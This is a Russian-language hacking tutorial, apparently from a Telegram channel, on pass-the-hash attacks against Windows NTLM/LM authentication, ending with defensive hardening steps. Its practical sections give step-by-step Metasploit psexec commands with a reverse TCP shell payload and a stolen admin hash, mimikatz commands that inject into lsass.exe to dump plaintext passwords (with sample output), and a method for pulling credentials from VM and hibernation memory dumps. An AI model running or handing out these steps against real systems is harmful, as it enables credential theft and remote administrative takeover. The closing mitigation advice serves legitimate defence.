Атака "Pass-the-hash": старые баги позволяющие получить админские привегии

Атака "Pass-the-hash": старые баги позволяющие получить админские привегии

https://t.me/w2hack

Intro

Сегодня у нас в лаборатории разбор старейших багов в протоколах сетевой аутентификации NTLM или LM, позволяющие получить хакеру или белой шляпе данные для авторизации в системе с привилегиями админа. Не смотря на то что проблема уже давно известна и со всех сторон перепилена экспертами ИБ ее актуальность не потеряна до сих пор.

Немного о том, что такое "Pass-the-hash"

Атака Pass-the-hash — один из видов атаки повторного воспроизведения на систему аутентификации. Она позволяет атакующему авторизоваться на удалённом сервере, аутентификация на котором осуществляется с использованием протокола NTLM или LM (они часто используются в ОС Windows хотя возможны и реализации на других системах).

Суть атаки (очень кратко)

В системах, использующих протокол аутентификации NTLM, пароли никогда не передаются по каналу связи в открытом виде. Вместо этого они передаются соответствующей системе (такой, как контроллер домена) в виде хешей на этапе ответа в схеме аутентификации "Вызов"-"Ответ".

Приложения Windows запрашивают у пользователя пароль в открытом виде, а затем вызывают API (например, LsaLogonUser), которые преобразуют пароль в LM хеш и NTLM хеш и передают их в процессе аутентификации. Анализ протоколов показал, что для успешной аутентификации не обязательно знать пароль в открытом виде, вместо этого может использоваться только его хеш.

После получения каким-либо образом пары {имя пользователя — хеш пароля пользователя}, криптоаналитик получает возможность использовать эту пару для выполнения атаки по сторонним каналам и аутентификации на удаленном сервере под видом пользователя.При использовании данной атаки отпадает необходимость полного перебора значений хеш-функции (т.е. никакого брута!) для нахождения пароля в открытом виде. В основе атаки лежит слабость в реализации протокола сетевой аутентификации.

Она проблемы заключается в том, что хеши паролей передаются без использования соли, а потому остаются неизменными от сессии к сессии (до тех пор, пока не изменяется пароль пользователя). Другими словами, для атакующего хеши паролей эквивалентны самим паролям.

Пара слов о сетевых протоколах

NTLM (NT LAN Manager) — протокол сетевой аутентификации, разработанным фирмой Microsoft для Windows NT.

Для передачи на сервер аутентификации (англ. Primary Domain Controler (PDC) — главный контроллер домена) имени пользователя, хэша пароля и мандата домена в Windows 98 применяется протокол LANMAN, а в Windows NT — протокол NTLM. Windows 2000 и Windows XP по умолчанию делают попытку аутентификации Kerberos (только в случае, когда станция является членом домена), в то же время они сохраняют обратную совместимость с аутентификацией NTLM.

NTLMv2 (NTLM версии 2) — встроенный в операционные системы семейства Microsoft Windows протокол сетевой аутентификации. Широко применяется в различных сервисах на их базе. Изначально был предназначен для повышения безопасности аутентификации путём замены устаревших LM и NTLM v1. NTLMv2 был введён начиная с Windows NT 4.0 SP4 и используется версиями Microsoft Windows вплоть до Windows 10 включительно.

LM-хеш, или LAN Manager хеш, — один из форматов, используемых Microsoft LAN Manager и версиями Microsoft Windows до Windows Vista для хранения пользовательских паролей длиной менее 15 символов. Это единственный вид хеширования, используемый в Microsoft LAN Manager, откуда и произошло название, и в версиях Windows до Windows Me. Он также поддерживается и более поздними версиями Windows для обратной совместимости, хотя в Windows Vista его приходится включать вручную.

Kerberos  — сетевой протокол аутентификации, который предлагает механизм взаимной аутентификации клиента и сервера перед установлением связи между ними, причём в протоколе учтён тот факт, что начальный обмен информацией между клиентом и сервером происходит в незащищенной среде, а передаваемые пакеты могут быть перехвачены и модифицированы.

Подробное описание уязвимости

Хэши на пакетном уровне

Когда вы создаете пароль для аккаунта в Windows, он преобразуется в хэш. Хэш представляет собой результат криптографической функции, которая принимает на вход строку данных произвольной длины, осуществляет математическое преобразование и на выходе дает строку фиксированной длины. В итоге, вместо того, чтобы хранить пароль 'PassWord123', у вас будет хранится хэш-строка '94354877D5B87105D7FEC0F3BF500B33.'

Такой подход обусловлен двумя причинами. Во-первых, это означает, что ваш пароль не хранится на локальном жестком диске в виде обычного текста, который может прочитать каждый; а во-вторых, ваш пароль не передается по сети в виде текста при авторизации на другом устройстве (например, на контроллере домена).

Когда вы пытаетесь получить доступ к компьютеру, защищенному именем пользователя и паролем, хост предложит вам авторизоваться. Обычно вводятся имя пользователя и пароль. После ввода пароля компьютер производит хэширование пароля и отправляет его хосту для сравнения со значением, содержащимся в базе данных. Если хэши совпадают, доступ открывается.

Нормальная попытка соединения на базе аутентификации

А теперь давайте рассмотрим другую ситуацию. Что если мы вручную установим соединение с хостом, на котором имеется требуемый ресурс, но вместо того, чтобы давать ему свое имя и пароль, мы передадим имя администратора и его хэш, который мы украли? Мы получаем административный доступ к этому хосту. Не забывайте, что хост волнует лишь получение хэша, соответствующего нужному паролю. То есть вам не обязательно применять функцию хэширования над паролем, нужно только передать хэш, на чем атака и основана.

Передача хэша целевому хосту напрямую

Почему эта атака до сих пор актуальна

 Комментирует Andrey Shishkin: Основное отличие Kerberos в том, что клиент аутентифицируется на контроллере домена, получает от него билет и дальше этот билет показывает стороннему серверу. Соответственно, если в интернет торчит только сторонний сервер, то клиенту негде получить билет Kerberos и тогда используется NTLM. По этой причине по-умолчанию возможность NTLM-авторизации включена. А значит и есть шанс проведения нашей атаки!

Практика

Вариант 1. Юзаем Metasploit

Оригинал статьи на английском лежит тут

Сейчас, разобравшись с теорией, лежащей в основе атак, пора перейти к практике. Нашей задачей будет передать украденный хэш пользователя с правами администратора системе-жертве. Чтобы осуществить эту атаку, нам понадобятся две вещи. Во-первых, нам нужен украденный хэш администратора. Есть несколько различных методов получения хэшей паролей, самый популярный из которых обсуждается здесь. Кроме украденного хэша нам нужна копия Metasploit, инструмента для осуществления атаки.

Metasploit – это свободно распространяемый фреймворк для тестирования взлома, разработанный в HD Moore (сейчас Rapid7). В свободном доступе есть тысячи статей и тренировочных курсов по Metasploit, и хотя мы воспользуемся им для вполне конкретного типа атак, он способен атаковать и по многим другим направлениям. Metasploit можно взять отсюда.

Или вы можете загрузить и работать с Backtrack (сейчас это Kali Linux). BT(Kali linux) – это линуксовый дистрибутив, созданный специально для тестирования взлома и внедрения, в котором есть масса предустановленных и прекомпилированных инструментов, включая Metasploit. Загрузить дистриб можно отсюда. Metasploit вы обнаружите в папке /pentest/exploit/framework3. Скриншоты примеров, показываемые в остальной части статьи, берутся из BT4.

Имея на руках украденный хэш и Metasploit, мы начинаем подготовку к атаке. Для начала нужно запустить консоль Metasploit. В BT4 для этого нужно перейти в папку /pentest/exploit/framework3 и набрать ./msfconsole.

Запуск консоли Metasploit

Metasploit – настоящий Фреймворк, состоящий из различных модулей, используя которые он решает свои задачи. В нашем случае мы воспользуемся модулем psexec. Psexec – это обычный инструмент (используется не только в Metasploit), который нужен для удаленного запуска процессов в системе и перенаправления результатов работы этих процессов обратно в систему, через которую вы работаете. Для работы с модулем введите

use windows\smb\psexec

и нажмите Enter. Состояние командной оболочки, которой вы пользуетесь, должно отразить использование этого модуля.

Использование модуля psexec

Теперь мы должны установить тип отправляемой функциональной части. Metasploit открывает самое базовое соединение с нашей жертвой, поэтому когда с помощью имени и хэша мы проходит авторизацию, функциональная часть определит, какие задачи мы выполняем через psexec. В нашем случае у нас масса злых намерений для нашей жертвы, поэтому вместо открытия какой-то одной программы, мы хотим запустить командную оболочку, чтобы можно было наделать много всякого. Один из самых эффективных для этого методов – воспользоваться обратной TCP-оболочкой. Вот и вся функциональность: запуск экземпляра cmd.exe и отправка данных через наше соединение для удаленного доступа. Для установки этого типа функциональной части введите

set payload windows/shell_reverse_tcp
Установка функциональной части для обратной TCP-оболочки

Для работы этого модуля и требуемой функциональности нужно настроить некоторые опции. Для этого введите show options и нажмите Enter.

Настраиваемые опции для данного модуля и требуемой функциональности

Для установки нужных нам опций воспользуемся синтаксисом 'set [название опции] [значение]'. Нужно установить следующие опции:

RHOST ' IP-адрес жертвы
SMBPass ' Украденный хэш жертвы
SMBUser ' Имя пользователя жертвы
LHOST ' IP-адрес атакующей машины

В большинстве ситуаций этих четырех опции вам будет достаточно, все остальное можно оставлять по умолчанию. После настройки результат должен соответствовать показанному на рисунке ниже

Опции атаки настроены

На данный момент все приготовления завершены, и мы можем приступать к атаке. Для этого просто введите

exploit и нажмите Enter.

В случае успеха, вы увидите нечто похожее на то, что показано на рисунке ниже - на нормальную командную оболочку Windows. И теперь у нас есть административный контроль над машиной без знания пароля администратора.

Успешная атака дает нам командный процессор Windows

Вариант 2. Утилита mimikatz

Для того чтобы получить NT-хеш, злоумышленник может использовать результаты запуска утилиты Mimikatz на узлах сети в рамках атак по сценариям1, 2 или 3.

Атака Pass the hash

На рисунке выше показан запуск Mimikatz на одном из узлов, а на следующем рисунке продемонстрирован результат успешной аутентификации методом pass-the-hash с полученным хешем пользователя. Этот пользователь входил в группу администраторов серверов, и для него была настроена аутентификация только по смарт-карте.

Атака Pass the hash

Кроме NT-хеша и пароля пользователя, злоумышленник может получить и PIN-код смарт-карты в открытом виде.

Атака Pass the hash

По сути, если злоумышленник может запускать утилиту Mimikatz на одном из узлов (непосредственно в ОС либо с использованием любого из подходящих методов обхода защиты), он получает возможность компрометировать учетные записи привилегированных пользователей домена — даже при использовании двухфакторной аутентификации. Механизмы авторизации в Windows построены таким образом, что, даже если нарушитель не сможет получить учетную запись администратора, он получит NT-хеш (генерируемый контроллером домена при использовании смарт-карты) либо билет Kerberos. Если NT-хеш не изменяется, не имеет срока действия и может быть использован на любом узле сети (в том числе на контроллере домена), то билет Kerberos выдается лишь на доступ к данному узлу на десять часов и может быть продлен в течение недели. Оба эти значения могут быть использованы злоумышленником для аутентификации в обход двухфакторного механизма для атак pass the hash и pass the ticket.

Как еще можно извлечь пароли из памяти Windows

Чуть-чуть введения

Не так давно мы делали комплексный материал о том, как можно сдампить пользовательские пароли из Windows-системы. Утилита Windows Credentials Editor – одно из наиболее известных и универсальных решений. Однако недавно французские исследователи выпустили совершенно убойную наработку mimikatz. Помимо уже известных приемов, она умеет… извлекать пароли пользователей в открытом виде. Правда, только тех, которые осуществили вход в системе. Сначала мы подумали, что это фэйк и подстава, но первый же запуск утилиты подтвердил — все работает. Прога предоставляет свою собственную консоль, из которой можно запустить необходимые модули для различных ситуаций (концепция «швейцарского ножа»). Для извлечения паролей в виде открытого текста понадобится всего три команды:

mimikatz # privilege::debug
mimikatz # inject::process lsass.exe sekurlsa.dll
mimikatz # @getLogonPasswords

Как это выглядит?

Попробуем mimikatz. Вывод будет на французском языке, но тебя это не должно пугать: чтобы увидеть пароли, не нужно говорить на языке Шарля Де Голля:

mimikatz 1.0 x86 (pre-alpha)/* Traitement du Kiwi */

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # inject::process lsass.exe sekurlsa.dll
PROCESSENTRY32(lsass.exe).th32ProcessID = 488
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
Gentil Kiwi

SekurLSA : librairie de manipulation des données de sécurités dans LSASS

mimikatz # @getLogonPasswords

Authentification Id : 0;434898
Package d'authentification  : NTLM
Utilisateur principal   : Gentil User
Domaine d'authentification  : vm-w7-ult
msv1_0 :lm{ e52cac67419a9a224a3b108f3fa6cb6d }, ntlm{ 8846f7eaee8fb117ad06bdd830b7586c }
wdigest :   password
tspkg : password

Authentification Id : 0;269806
Package d'authentification  : NTLM
Utilisateur principal   : Gentil Kiwi
Domaine d'authentification  : vm-w7-ult
msv1_0 :lm{ d0e9aee149655a6075e4540af1f22d3b }, ntlm{ cc36cf7a8514893efccd332446158b1a }
wdigest :   waza1234/
tspkg : waza1234/


Французский вывод mimikatz не должен тебя пугать

Как это работает?

Казалось бы: нафига хранить пароли в открытом виде, если выполнить авторизацию можно даже с помощью хэша? На самом деле, последнее возможно не везде. Поэтому в винде есть специальный поставщик безопасности wdigest, чтобы поддерживать такие типы авторизации как, например, HTTP Digest Authentication и другие схемы, где необходимо знать пароль (и хэша недостаточно). Напоследок скажу, что буквально в момент выхода журнала в печать аналогичный функционал появился и в упомянутой выше утилите WCE.

P.S.

Прикольная статья на Хабре по нашей теме

Получение паролей из файлов виртуальных машины и файлов гибернации

Идем дальше. С помощью простых манипуляций злоумышленник может запросто извлечь пароли пользователей из файлов дампов памяти, файла гибернации системы и .vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, в случае необходимости преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполним команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp


Полученный дамп загружаем в WinDbg (File -> Open Crash Dump), загружаем библиотеку mimikatz с именем mimilib.dll (версию выбрать в зависимости от разрядности системы):

.load mimilib.dll

Ищем в дампе процесс lsass.exe:

!process 0 0 lsass.exe


Поиск в дампе памяти процесса lsass

И наконец, набираем

.process /r /p fffffa800e0b3b30
!mimikatz

и получаем список пользователей Windows и их пароли в открытом виде:

Получаем пароль пользователя Windows

Получение паролей пользователей Windows в открытом виде с помощью утилиты Mimikatz работает на следующих системах, в том числе запущенных на гипервизорах Hyper-V 2008/2012 и VMWare различных версий:

  • Windows Server 2008 / 2008 R2
  • Windows Server 2012/ R2
  • Windows 7
  • Windows 8

Немного видео с демонстрациями эксплуатации

Mimikatz via Metasploit

Howto: mimikatz how to use to get Windows Admin Password

Как защититься от получения пароля через mimikatz?

В качестве временного решения можно предложить отключить поставщика безопасности wdigest через реестр. Для этого в ветке 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 

найдите ключ Security Packages и удалить из списка пакетов строку wdigest.

Однако нужно понимать, что атакующему, при наличии соответствующих прав на реестр, не составит труда поменять вернуть настройки обратно.

Отключаем провайдера wdigest в ветке LSA системы

Отключение протоколов LM и NTLM

Устаревший протокол LM аутентификации и, соответственно, хранение LM хэшей нужно обязательно отключить с помощью групповой политики Network Security: Do Not Store LAN Manager Hash Value On Next Password Change (на уровне Default Domain Policy).

Далее нужно отказаться от использования как минимум протокола NTLMv1 (политика в разделе Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options —  Network Security: Restrict NTLM: NTLM authentication in this domain), а как максимум и NTLMv2

И если отказ от NTLMv1 как правило проходит безболезненно, то при отказе от NTLMv2 придется потрудиться. В больших инфраструктурах, как правило, приходят к сценарию максимального ограничения использования NTLMv2. Т.е. везде, где возможно должна использоваться Kerberos аутентификация (как правило придется уделить дополнительное время настройке Kerberos аутентификации на IIS и SQL), а на оставшихся системах — NTLMv2.

Запрет использования обратимого шифрования

Следует явно запретить хранить пароли пользователей в AD в текстовом виде. Для этого следует включить доменную политику Store password using reversible encryption for all users in the domain в разделе Computer Configuration -> Windows Settings ->Security Settings -> Account Policies -> Password Policy, выставив ее значание на Disabled.

Store password using reversible encryption for all users in the domain - запрет хранения пароля с обратимым шифрованием

Использование группы Protected Users

При использовании функционального уровня домена Windows Server 2012 R2, для защиты привилегированных пользователей возможно использовать специальную защищенную группу Protected Users. В частности, защита этих учеток от компрометации выполняется за счет того, что члены этой группы могут авторизоваться только через Kerberos (никаких NTLM, WDigest и CredSSP) и т.д. (подробности по ссылке выше). Желательно добавить в эту группу учетные записи администраторов домена, серверов и пр. Этот функционал работает на серверах будет работать на Windows Server 2012 R2 (для Windows Server 2008 R2 нужно ставить упомянутое выше дополнительное обновление KB2871997)

Запрет использования сохранённых паролей

Можно запретить пользователям домена сохранять свои пароли для доступа к сетевым ресурсам в Credential Manager.

Для этого включите политику Network access: Do not allow storage of passwords and credentials for network authentication в разделе Computer Configuration -> Windows Settings ->Security Settings ->Local Policies ->Security Options.

Network access: Do not allow storage of passwords and credentials for network authentication

Примечание. Обратите внимание, что тем сам будет запрещено также использование сохранённых паролей в заданиях планировщика.

Запрет кэширования учетных данных

Одной из возможностей mimikats – получения хэша паролей пользователей из ветки реестра 

HKEY_LOCAL_MACHINE\SECURITY\Cache,

в которую сохраняются хэши паролей последних 10 (по-умолчанию) доменных пользователей, врошедших в систему. Эти хэши в обычном случае могут использоваться для авторизации пользователей в системе при недоступности контроллера домена.

Желательно запретить использование сохранения кэшированных данных с помощью включения политики InteractiveLogon: Number of previous logons to cache (in case domain controller is not available) в разделе Computer Configuration -> Windows Settings -> Local Policy -> Security Options, изменив значение ее параметра на 0.

Запрет кэширования учетных данных

Кроме того, чтобы ускорить очистку памяти процесса lsass от учётных записей пользователей, завершивших сеанс, нужно в в ветке 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 

нужно создать ключ типа DWORD с именем TokenLeakDetectDelaySecs и значением 30. Т.е. память будет очищаться через 30 секунд после логофа пользователя. В Windows 7, 8/ Server 2008R2, 2012 чтобы этот ключ заработал, нужно установить уже упоминавшееся ранее обновление KB2871997.

Еще почитать

Гайд с картинками по атаке Pass The Hash Attack Tutorial от CQURE Academy

Получение доступа к ОС, используя непривилегированную учетную запись в СУБД Oracle с помощью все того же pass the hash

Быстрое и наглядное "Pass-the-Hash" на примере Metasploit версии Pro (коммерческая версия фреймворка с GUI и плюшками)

Презентация Defeating Pass-the-Hash на BlackHat USA 2015


Берегите себя и свои данные!

Следи за новыми выпусками на нашем канале @w2hack